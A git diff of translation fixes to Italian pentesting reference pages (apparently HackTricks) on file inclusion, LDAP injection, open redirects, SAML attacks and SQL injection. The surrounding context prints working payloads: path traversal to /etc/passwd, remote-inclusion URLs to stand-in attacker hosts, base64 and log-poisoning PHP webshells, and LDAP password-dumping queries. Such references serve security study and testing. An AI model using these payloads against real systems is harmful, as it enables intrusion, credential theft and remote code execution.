@ -126,8 +126,8 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
In questi scenari, il numero di traversate necessarie potrebbe essere intorno al 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
|
||||
- **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversata (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
|
||||
- **Determinazione del Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Inizio con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
||||
- **Determinare il Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
- **Iniziare con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
|
||||
|
||||
Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||||
|
||||
@ -148,12 +148,12 @@ In php questo è disabilitato per impostazione predefinita perché **`allow_url_
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo dati con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa termina con essa e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP sarà incluso (e quindi, eseguito).
|
||||
|
||||
Un altro esempio **che non utilizza il protocollo `php://`** sarebbe:
|
||||
```
|
||||
@ -181,7 +181,7 @@ Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece
|
||||
|
||||
## Top 25 parametri
|
||||
|
||||
Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a vulnerabilità di inclusione di file locali (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a vulnerabilità di local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -213,7 +213,7 @@ Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a v
|
||||
|
||||
### php://filter
|
||||
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -226,13 +226,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica sui dati** prima ch
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui nel terminale: `iconv -l`
|
||||
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate, esegui nel terminale: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per far sì che una funzione come include elabori testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni, controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
|
||||
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
|
||||
- `zlib.inflate`: Decomprime i dati
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Obsoleto
|
||||
@ -280,11 +280,11 @@ Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ec
|
||||
- Utilizza il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
||||
- Questo sarà utilizzato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php attiverà un **errore**.
|
||||
- Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
||||
- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
|
||||
- Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale genererà un errore php.
|
||||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
|
||||
- Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
||||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di ordine di memoria come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
|
||||
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
|
||||
|
||||
Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
@ -371,7 +371,7 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
È stato possibile abusare di **qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere [**trovata in questo post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
Riassunto molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **modificare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
È stato possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
|
||||
|
||||
### Altri protocolli
|
||||
@ -395,7 +395,7 @@ Ad esempio, il codice PHP potrebbe essere progettato per prevenire il traversame
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe utilizzare:
|
||||
Mentre questo mira a fermare la traversata, crea involontariamente un vettore per l'iniezione di codice. Per sfruttare questo per leggere i contenuti dei file, un attaccante potrebbe usare:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -428,7 +428,7 @@ Spiegato precedentemente, [**segui questo link**](#remote-file-inclusion).
|
||||
|
||||
### Via file di log Apache/Nginx
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostando all'interno del **user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
|
||||
@ -452,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
@ -468,13 +468,13 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad esempio: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell in esso (ad es: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||
|
||||
### Via upload di file Zip
|
||||
### Via caricamento di file Zip
|
||||
|
||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||
```python
|
||||
@ -487,7 +487,7 @@ Controlla se il sito web utilizza PHP Session (PHPSESSID)
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
In PHP, queste sessioni sono memorizzate in _/var/lib/php5/sess\\_\[PHPSESSID]\_ file.
|
||||
In PHP, queste sessioni sono memorizzate nei file _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se puoi abusare dell'LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione PHP del server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
Se puoi abusare dell'LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -603,13 +603,13 @@ lfi2rce-via-eternal-waiting.md
|
||||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
|
||||
|
||||
**Non so quanto sia utile, ma potrebbe esserlo.**\
|
||||
&#xNAN;_E anche se causate un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
|
||||
_E anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{{#file}}
|
||||
|
||||
@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Assoluto VERO\
|
||||
&#xNAN;**(|)** = Assoluto FALSO
|
||||
**(&)** = Assoluto VERO\
|
||||
**(|)** = Assoluto FALSO
|
||||
|
||||
Ad esempio:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -135,7 +135,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
||||
```
|
||||
#### Dump data
|
||||
|
||||
Puoi iterare sulle lettere ascii, i numeri e i simboli:
|
||||
Puoi iterare sulle lettere ascii, cifre e simboli:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
||||
@ -166,8 +166,8 @@ exit;
|
||||
|
||||
## Risorse
|
||||
|
||||
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puoi trovare elenchi di fuzzing.\\
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puoi trovare elenchi di fuzzing.
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
@ -4,21 +4,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
## Basic Information
|
||||
|
||||
{{#ref}}
|
||||
saml-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## Strumento
|
||||
## Tool
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Uno strumento che può prendere un URL o un elenco di URL e restituisce l'URL di consumo SAML.
|
||||
|
||||
## Giro di andata e ritorno XML
|
||||
## XML round-trip
|
||||
|
||||
In XML, la parte firmata dell'XML viene salvata in memoria, quindi viene eseguita una certa codifica/decodifica e la firma viene controllata. Idealmente, quella codifica/decodifica non dovrebbe cambiare i dati, ma basandosi su quel scenario, **i dati controllati e i dati originali potrebbero non essere gli stessi**.
|
||||
In XML, la parte firmata dell'XML viene salvata in memoria, quindi viene eseguita una codifica/decodifica e la firma viene controllata. Idealmente, quella codifica/decodifica non dovrebbe cambiare i dati, ma basandosi su quel scenario, **i dati controllati e i dati originali potrebbero non essere gli stessi**.
|
||||
|
||||
Ad esempio, controlla il seguente codice:
|
||||
Per esempio, controlla il seguente codice:
|
||||
```ruby
|
||||
require 'rexml/document'
|
||||
|
||||
@ -51,16 +51,16 @@ Per ulteriori informazioni sulla vulnerabilità e su come abusarne:
|
||||
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## Attacchi di Wrapping della Firma XML
|
||||
## Attacchi di XML Signature Wrapping
|
||||
|
||||
Negli **attacchi di Wrapping della Firma XML (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della Firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
|
||||
Negli **attacchi di XML Signature Wrapping (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della Firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
|
||||
|
||||
I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**questo documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Quindi controllali per ulteriori dettagli.
|
||||
|
||||
### XSW #1
|
||||
|
||||
- **Strategia**: Viene aggiunto un nuovo elemento radice contenente la firma.
|
||||
- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "nuovo Response -> Assertion -> Subject" dell'attaccante, portando a problemi di integrità dei dati.
|
||||
- **Implicazione**: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" malvagio dell'attaccante, portando a problemi di integrità dei dati.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +87,7 @@ I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitla
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Aspetto Unico**: Né la Firma né l'asserzione originale aderiscono a configurazioni standard (avvolte/avvolgenti/staccate).
|
||||
- **Aspetto Unico**: Né la Firma né l'asserzione originale aderiscono a configurazioni standard (avvolgente/avvolgente/staccata).
|
||||
- **Implicazione**: L'asserzione copiata avvolge la Firma, modificando la struttura del documento attesa.
|
||||
|
||||
.png>)
|
||||
@ -125,7 +125,7 @@ Se non sai che tipo di attacchi sono XXE, ti preghiamo di leggere la seguente pa
|
||||
../xxe-xee-xml-external-entity.md
|
||||
{{#endref}}
|
||||
|
||||
Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
|
||||
Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e possono essere suscettibili ad attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -143,13 +143,13 @@ Le risposte SAML sono **documenti XML deflazionati e codificati in base64** e po
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
## Strumenti
|
||||
## Tools
|
||||
|
||||
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per generare il POC da una richiesta SAML per testare possibili vulnerabilità XXE e vulnerabilità SAML.
|
||||
|
||||
Controlla anche questo intervento: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT tramite SAML
|
||||
## XSLT via SAML
|
||||
|
||||
Per ulteriori informazioni su XSLT vai a:
|
||||
|
||||
@ -157,7 +157,7 @@ Per ulteriori informazioni su XSLT vai a:
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Le Trasformazioni del Linguaggio di Stile Estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.
|
||||
Le trasformazioni del linguaggio di foglio di stile estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che **le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale**. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autofirmata o non valida è sufficiente per procedere.
|
||||
|
||||
Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare payload.
|
||||
```xml
|
||||
@ -183,11 +183,11 @@ Qui puoi trovare un **POC** per controllare questo tipo di vulnerabilità, nella
|
||||
|
||||
Puoi anche utilizzare l'estensione Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) per generare il POC da una richiesta SAML per testare possibili vulnerabilità XSLT.
|
||||
|
||||
Controlla anche questo talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Controlla anche questo intervento: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, **la validazione della firma potrebbe non avvenire**, rendendolo vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
|
||||
L'**XML Signature Exclusion** osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento è mancante, **la validazione della firma potrebbe non avvenire**, rendendola vulnerabile. È possibile testare questo alterando i contenuti che di solito vengono verificati dalla firma.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -221,7 +221,7 @@ La Token Recipient Confusion e la Service Provider Target Confusion comportano i
|
||||
|
||||
#### **Come Funziona**
|
||||
|
||||
Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. Innanzitutto, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
|
||||
Affinché un attacco di Token Recipient Confusion (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esserci un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider target (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.
|
||||
|
||||
Il processo di attacco è semplice in queste condizioni. Una sessione autentica viene avviata con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dall'accettazione dell'asserzione da parte di SP-Target, concedendo accesso alle risorse sotto lo stesso nome account utilizzato per SP-Legit.
|
||||
```python
|
||||
@ -258,7 +258,7 @@ https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarb
|
||||
```
|
||||
Questo ha rivelato che il parametro `base` accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con `javascript:alert(123);` nel tentativo di avviare un attacco XSS (Cross-Site Scripting).
|
||||
|
||||
### Sfruttamento di massa
|
||||
### Mass Exploitation
|
||||
|
||||
[Da questa ricerca](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
|
||||
## Riferimenti
|
||||
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
|
||||
@ -72,7 +72,7 @@ sqli-logic.txt
|
||||
|
||||
### Confermare con il Timing
|
||||
|
||||
In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
|
||||
In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire blind SQL injections** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
|
||||
Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -95,11 +95,11 @@ SQLite
|
||||
